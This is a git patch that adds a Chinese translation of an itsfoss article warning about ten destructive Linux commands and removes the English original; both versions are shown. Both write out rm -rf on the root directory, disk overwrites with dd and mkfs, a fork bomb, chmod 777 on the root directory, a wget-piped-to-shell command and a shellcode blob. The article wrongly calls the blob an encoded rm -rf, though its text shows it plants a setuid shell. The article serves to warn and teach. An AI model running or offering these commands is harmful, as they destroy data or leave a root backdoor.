https://opensource.com/users/sumantro" [#]: collector: "lkxed" -[#]: translator: " " +[#]: translator: "Return7g" [#]: reviewer: " " [#]: publisher: " " [#]: url: " " From 9754647162592516a53aac24182777ae21b92fb5 Mon Sep 17 00:00:00 2001 From: Xingyu Wang Date: Mon, 12 Sep 2022 18:49:55 +0800 Subject: [PATCH 18/18] RP @wxy https://linux.cn/article-15022-1.html --- ...ive Linux Commands You Should Never Run.md | 219 ++++++++++++++++++ ...ive Linux Commands You Should Never Run.md | 216 ----------------- 2 files changed, 219 insertions(+), 216 deletions(-) create mode 100644 published/20220911 10 Destructive Linux Commands You Should Never Run.md delete mode 100644 sources/tech/20220911 10 Destructive Linux Commands You Should Never Run.md diff --git a/published/20220911 10 Destructive Linux Commands You Should Never Run.md b/published/20220911 10 Destructive Linux Commands You Should Never Run.md new file mode 100644 index 0000000000..2a18fe75d3 --- /dev/null +++ b/published/20220911 10 Destructive Linux Commands You Should Never Run.md @@ -0,0 +1,219 @@ +[#]: subject: "10 Destructive Linux Commands You Should Never Run" +[#]: via: "https://itsfoss.com/dangerous-linux-commands/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15022-1.html" + +10 大可以摧毁你的 Linux 的命令 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/12/184637rc8znomk1ok7o2wx.jpg) + +什么是最危险的 Linux 命令? + +有人无数次问我这个问题,我一直避免回答,因为**没有一个明确的危险的 Linux 命令清单**。 + +你拥有的工具使你能够控制和修改你的操作系统的每一个方面。我不是想吓唬你,但如果你不熟悉这些命令和工具,你可以很容易地把你的系统摧毁。 + +想象一下家庭中的小孩子的情景。孩子有许多方法可以伤害自己。但这是否意味着不应允许孩子离开婴儿床?那会对她的成长造成损害。 + +这就是父母设定界限和引导孩子的地方。不要靠近火堆,不要把手指戳到电源插座上……随着孩子的成长和经验的积累,她可以把炉子打开,在壁炉里生火,插上电源线。 + +同样,如果你知道一些已知的风险命令,你可能会避免落入巨魔的陷阱,他们试图欺骗你运行命令,扰乱你的系统。 + +当你积累了经验,知道了这些命令和工具的含义和用法,用愚蠢和棘手的命令破坏你的系统的机会就会减少。 + +我的同事 Sreenath 收集了一些流行的危险 Linux 命令。让我们看看它们是如何干掉你的 Linux 系统的。 + +> **免责警告:如果你不清楚你在做什么,请勿尝试本文提及的这些命令,否则后果自负。** + +### 1、rm -rf /* + +这个可能是在各种社交媒体上盘旋的最臭名昭著的命令。你会经常发现巨魔们在各种讨论中提及这个。 + +`rm` 命令用来删除文件/目录。标志 `-r` 和 `-f` 表示递归地删除指定目录内的所有文件。现在,如果没有 root 权限,这个命令不会造成任何伤害。 + +运行 [sudo rm -rf /][1] 命令也不会产生任何问题,因为大多数发行版提供了一个故障安全选项。你需要指定 `--no-preserve-root` 才能实际运行它。 + +``` +sudo rm -rf / --no-preserve-root +``` + +然而,一个更简单的版本可以是这样的: + +``` +sudo rm -rf /* +``` + +它将开始递归地删除根目录下的所有文件,在一段时间后,你的系统会冻结,并显示“删除文件错误”。一旦重新启动,你将被送到 **grub-rescue** 提示符下。 + +### 2、覆盖你的分区 + +如果你熟悉文件系统,你可能知道 `/dev/sda` 是什么。它(通常)是你的磁盘驱动器分区。`>` 操作符用于将其前面的命令的输出写到所提供的指定位置。 + +一旦你运行任何命令并把它写到 `/dev/sda`,比如说: + +``` +echo "Hello" > /dev/sda +``` + +这将用 `Hello` 字符串替换你的包含启动系统所需的所有数据的分区。 + +### 3、把所有的东西都移到黑洞 + +每个 Linux 系统内都有一个黑洞。而这个黑洞就是 `/dev/null`。 + +无论你把什么东西扔进这个区域都会永远丢失。而且,它在丢弃数据后会将写入过程报告为成功,这是其破坏性的主要原因。 + +``` +mv /home/user/* /dev/null +``` + +[mv 命令][3] 用来移动或重命名文件/目录。在上面的命令中,你把家目录内的所有文件都移到了黑洞中。虽然根系统没有被破坏,但你所有的个人数据都会丢失。 + +### 4、格式化你的硬盘 + +[mkfs][4] 是一个命令行工具,用于格式化磁盘和分区。它是一个超级方便的工具,可以为安装的操作系统创建分区。但同样的命令也可以格式化你的硬盘。格式化你的驱动器意味着删除系统启动所需的所有文件。 + +``` +mkfs.ext3 /dev/sda +``` + +这个命令完成了它的工作,而你最终得到了一个无法恢复的混乱的系统。 + +### 5、fork 炸弹 + +这个看起来很可爱的特殊字符和符号的随机组合,足以通过耗尽系统资源来冻结一个正在运行的系统。 + +``` +:(){ :|:& };: +``` + +`&` - Shell 后台操作符。它通知 Shell 将命令放在后台。在这里,它定义了一个叫做 `:` 的函数,它调用自己两次,一次在前台,一次在后台。这个过程不断地重复执行,直到系统冻结。 + +顾名思义,它自己分叉,最终成为一个连锁炸弹,吃掉了所有的系统资源。你将被迫重启系统,这并不像本列表中的其他命令那样糟糕。 + +### 6、覆盖重要的配置文件 + +虽然这本身不是一个命令,但它更像是一个预防性的东西。 + +如上所述,`>` 操作符是用来向文件写入的。它丢弃文件中已经存在的东西,并将提供的新数据写入文件中。 + +``` +command > config_filename +``` + +现在,如果你将一些重要的配置文件作为写数据的地方,它将被取代内容,留下一个损坏的系统。 + +### 7、用垃圾数据替换分区 + +`/dev/random` 是 Linux 中的一个命令,它可以创建垃圾数据。把它和 [dd 命令][5] 以及你的分区结合起来,你就得到了一个可以让你的分区着火的燃烧弹。 + +``` +dd if=/dev/random of=/dev/sda +``` + +`dd` 命令被用作一个低级别的复制工具。这里,它从 `/dev/random` 中获取随机数据,并用这些垃圾替换 `/dev/sda` 分区。 + +一个类似的效果是通过以下方式获得的: + +``` +cat /dev/urandom > filename +``` + +这里,它从 `/dev/urandom`(LCTT 译注:在 Linux 上,`/dev/urandom` 现在和 `/dev/random` 的等价的 )中获取垃圾数据并填入一个文件。如果不使用 `Ctrl + C` 终止,该文件会占据相当大的空间,这对低端系统来说可能是灾难性的。 + +### 8、将你的系统暴露给所有人 + +在 Linux 中,所有东西都是文件,每个 [文件都有一定的权限][6]。 + +你可以用 `ls -l` 查看权限。根文件系统是不允许其他没有权限的用户访问的。虽然这保证了系统的私密性和安全性,但你可以用一个命令颠覆这个系统。 + +``` +chmod -R 777 / +``` + +上述命令将根分区上的所有文件暴露给所有人。这意味着每个使用该系统的人都有读、写和执行的权限。这对你的系统是不利的。 + +### 9、下载并运行恶意的内容 + +你如何在 Linux 中安装软件?你可以使用官方的软件包管理器或随时可以使用的软件包,如 Deb/RPM、Snap、Flatpak 等。 + +然而,有些软件是没有打包的,它们的开发者提供了下载和运行的 Shell 脚本。以 [Homebrew][7] 为例: + +你下载一个 Shell 文件,然后以 root 身份运行它,在你的系统中安装一个软件。你看出问题了吗? + +虽然它对 Homebrew 这样的官方软件有效,但在你像下面这样直接运行它之前,你应该仔细检查你所下载的 Shell 脚本的内容: + +``` +wget http://malicious_source -O- | sh +``` + +这样的命令会在你的系统中下载并运行恶意脚本,这可能会破坏你的系统的安全性。 + +### 10、伪装的命令 + +在 Linux 终端中,有许多方法可以运行命令。其中一种方式是十六进制编码的命令: + +``` +char esp[] __attribute__ ((section(“.text”))) /* e.s.p +release */ += “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” +“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” +“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” +“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” +“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” +“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” +“\x6e\x2f\x73\x68\x00\x2d\x63\x00” +“cp -p /bin/sh /tmp/.beyond; chmod 4755 +/tmp/.beyond;”; +``` + +虽然它看起来很花哨,但这是 `rm -rf` 命令的一个编码版本。它的效果与运行前面的命令相同。因此,在从互联网上复制和粘贴这些花哨的命令时,要小心谨慎。 + +### 总结 + +![pebkac][8] + +有一个著名的计算机术语 PEBKAC:“问题存在于键盘和椅子之间problem exists between keyboard and chair”。 + +因为归根结底,还是要靠用户(你)来保证你不会因为盲目地运行任何危险的命令而破坏系统。 + +> UNIX 的工作不是要阻止你搬起石头砸你自己的脚。如果你选择这样做,那么 UNIX 的工作就是以它所知道的最有效的方式将石头砸到脚上。 + +而这句话同样适用于 Linux。你可以完全控制你的操作系统。你选择做什么,完全取决于你。 + +我建议做这些事情以确保更安全的体验。 + +* 尝试并理解你将要运行的命令。 +* 用 Timeshift 保持你的系统设置的备份 +* 用 DejaDup 保持个人数据(主目录)的备份 + +正如我所说,没有固定的危险 Linux 命令清单。还有很多可以添加到这个列表中,而且根本没有尽头。 + +我希望这能给你一些提示,告诉你为了保持 Linux 的安全,你不应该做什么。如果你有建议,请在评论区告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/dangerous-linux-commands/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/sudo-rm-rf/ +[2]: https://youtu.be/AiKPo14uVNU +[3]: https://linuxhandbook.com/mv-command/ +[4]: https://linuxhandbook.com/mkfs-command/ +[5]: https://linuxhandbook.com/dd-command/ +[6]: https://linuxhandbook.com/linux-file-permissions/ +[7]: https://itsfoss.com/homebrew-linux/ +[8]: https://itsfoss.com/wp-content/uploads/2022/09/pebkac.jpg diff --git a/sources/tech/20220911 10 Destructive Linux Commands You Should Never Run.md b/sources/tech/20220911 10 Destructive Linux Commands You Should Never Run.md deleted file mode 100644 index cb66097c69..0000000000 --- a/sources/tech/20220911 10 Destructive Linux Commands You Should Never Run.md +++ /dev/null @@ -1,216 +0,0 @@ -[#]: subject: "10 Destructive Linux Commands You Should Never Run" -[#]: via: "https://itsfoss.com/dangerous-linux-commands/" -[#]: author: "Abhishek Prakash https://itsfoss.com/" -[#]: collector: "lkxed" -[#]: translator: "wxy" -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -10 Destructive Linux Commands You Should Never Run -====== -What are the most dangerous Linux commands? - -I have been asked this question numerous times and I have avoided answering that because **there is no definite list of dangerous Linux commands**. - -You have the tools that enable you to control and modify every aspect of your operating system. I am not trying to scare you but if you are unfamiliar with the commands and tools, you can screw up your system pretty easily. - -Imagine the scenario of a young child in a household. There are numerous ways the kid can hurt herself. But does this mean the child should not be allowed outside the crib? That would be damaging to her growth. - -This is where parents set boundaries and guide the child. Don’t go near the fire. Don’t poke your fingers in the power outlets. As the child grows and gains experience, she can turn the stove on, make a fire in the fireplace and plug in the power cables. - -Similarly, if you are aware of a few known risky commands, you may avoid falling into the traps of trolls trying to trick you into running commands and messing up your system. - -As you gain experience and know the meaning and usages of the commands and tools, less will be the chances of destroying your system with silly and tricky commands. - -My teammate Sreenath gathered some of the popular dangerous Linux commands. Let’s see how they work. - -### 1. rm -rf /* - -This one probably is the most infamous command circling in all kinds of social media. You’ll often find trolls commenting this in various discussions. - -The command `rm` is used to remove files/directories. The flags `-r` and `-f` are used to denote recursive removal of all files inside the specified directory. Now, without root privilege, this command won’t do any harm. - -Running the [command sudo rm -rf /][1] also will not create any issues as most distributions provide a failsafe option. You need to specify –no-preserver-root with it to actually run it. - -``` -sudo rm -rf / --no-preserve-root -``` - -However, a simpler version of this could be: - -``` -sudo rm -rf /* -``` - -It will start deleting all the files recursively in the root directory, and at some particular time, your system freezes with a message “Error deleting file.” Once rebooted, you will be sent to the **grub-rescue** prompt. - -![Youtube Video][2] - -### 2. Overwrite your partition - -If you are familiar with file systems, you probably know what /dev/sda is. It is (usually) your disk drive partition. The `>` operator is used to write the output of its preceding command to the specified location provided. - -Once you run any command and write it to /dev/sda, say: - -``` -echo "Hello" > /dev/sda -``` - -This will replace your partition containing all data needed to boot the system with the string “Hello”. - -### 3. Move everything into the void - -There is a void inside every Linux system. And that void is /dev/null. - -Whatever you throw into this area is lost forever. Also, it reports the writing process as a success after discarding the data, which is the main reason for its destructiveness - -``` -mv /home/user/* /dev/null -``` - -The [mv command][3] is used to move or rename files/directories. In the above command, you move all the files inside the home directory to the void. While the root system is not destroyed, all your personal data will be lost. - -### 4. Format your hard drive - -[mkfs][4] is a command-line utility, used to format disks and partitions. It is a super handy tool for creating partitions for various installations. But the same command can format your drive also. Formatting your drive means deleting all the files needed for the system to boot. - -``` -mkfs.ext3 /dev/sda -``` - -The command does its job and you end up with a messed up system beyond recovery. - -### 5. Fork bomb - -This cute-looking, random combination of special characters and symbols is powerful enough to freeze a running system by exhausting the system resources. - -``` -:(){:|:&};: -``` - -& – Shell Background Operator. It informs the shell to put the command in the background. Here, it defines a function called ‘:‘, which calls itself twice, once in the foreground and once in the background. This process keeps on executing again and again till the system freezes. - -As the name suggests, it forks itself and eventually becomes a chain bomb and eats up all the system resources. You’ll be forced to reboot the system, which is not as bad as the other commands in this list. - -### 6. Overwrite important configuration files - -While this is not a command by itself, it is more of a precautionary thing. - -As mentioned above, the “>” operator is used to write to a file. It just discards anything already present in the file and writes new data provided to it. - -``` -command > config_filename -``` - -Now, if you use some important configuration file as the place to write data, it will replace the content, leaving a broken system. - -### 7. Replace partition with garbage data - -The /dev/random is one command in Linux that can create garbage data. Combine it with the [dd command][5] and your partition, and you get a Molotov to set your partition on fire. - -``` -dd if=/dev/random of=/dev/sda -``` - -dd command is used as a low-level copying tool. Here, it takes random data from `/dev/random` and replaces the partition `/dev/sda` with this garbage. - -A similar kind of effect is obtained with: - -``` -cat /dev/urandom > filename -``` - -Here, it takes garbage data from /dev/urandom and fills in a file. If not terminated with Ctrl + C, the file can occupy a considerable amount of space, which may be disastrous for low-end systems. - -### 8. Expose your system to everyone - -Everything is a file in Linux and every [file has certain permissions][6]. - -You can view the permissions with `ls -l`. The root file system is not accessible to other users without privileges. While this ensures a private and secure system, you can upside down this system with one single command. - -``` -chmod -R 777/ -``` - -The above command exposes all files on the root partition to everyone. What it means is that everyone using the system has read, write, and execution permission. This is not good for your system. - -### 9. Download and run malicious content - -How do you install software in Linux? You use the official package manager or ready to use packages as Deb/RPM, Snap. Flatpak etc. - -However, some software are not packaged and their developers provide shell scripts to download and run. Take [homebrew][7] for example. - -You download a shell file and run it as root to install a software in your system. Do you see the problem with it? - -While it works with official software like Homebrew, you should double check the content of the shell script you are downloading before running it directly like this: - -``` -wget http://malicious_source -O- | sh -``` - -Such commands will download and run malicious scripts in your system, which can undermine the security of your system. - -### 10. Disguised commands - -There are many ways you can run commands in a Linux terminal. One such way is the hex-coded commands. - -``` -char esp[] __attribute__ ((section(“.text”))) /* e.s.p -release */ -= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” -“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” -“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7” -“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56” -“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31” -“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69” -“\x6e\x2f\x73\x68\x00\x2d\x63\x00” -“cp -p /bin/sh /tmp/.beyond; chmod 4755 -/tmp/.beyond;”; -``` - -While it looks fancy, this is a coded version of `rm -rf` command. It does the same effect as running the previous command. So, while copying and pasting such fancy commands from the internet, be cautious. - -### Wrapping Up - -![pebkac][8] - -There is a famous computing term PEBKAC; “problem exists between keyboard and chair.” - -Because in the end, it’s up to the user (you) to ensure that you don’t destroy the system by blindly running any dangerous command. - -> It is not UNIX’s job to stop you from shooting your foot. If you so choose to do so, then it is UNIX’s job to deliver Mr. Bullet to Mr Foot in the most efficient way it knows. - -And that line equally applies to Linux. You get full control over your operating system. What you choose to do with is totally up to you. - -I advise these things to ensure a safer experience: - -* Try and understand the commands you are about to run. -* Keep a backup of your system settings with Timeshift -* Keep a backup of personal data (home directory) using DejaDup - -As I said, there is no fixed list of dangerous Linux commands. A lot more can be added to this list and there is simply no end to it. - -I hope this gives you some hints about what you should not be doing to stay safe with Linux. Let me know if you have suggestions in the comment section. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/dangerous-linux-commands/ - -作者:[Abhishek Prakash][a] -选题:[lkxed][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/ -[b]: https://github.com/lkxed -[1]: https://itsfoss.com/sudo-rm-rf/ -[2]: https://youtu.be/AiKPo14uVNU -[3]: https://linuxhandbook.com/mv-command/ -[4]: https://linuxhandbook.com/mkfs-command/ -[5]: https://linuxhandbook.com/dd-command/ -[6]: https://linuxhandbook.com/linux-file-permissions/ -[7]: https://itsfoss.com/homebrew-linux/ -[8]: https://itsfoss.com/wp-content/uploads/2022/09/pebkac.jpg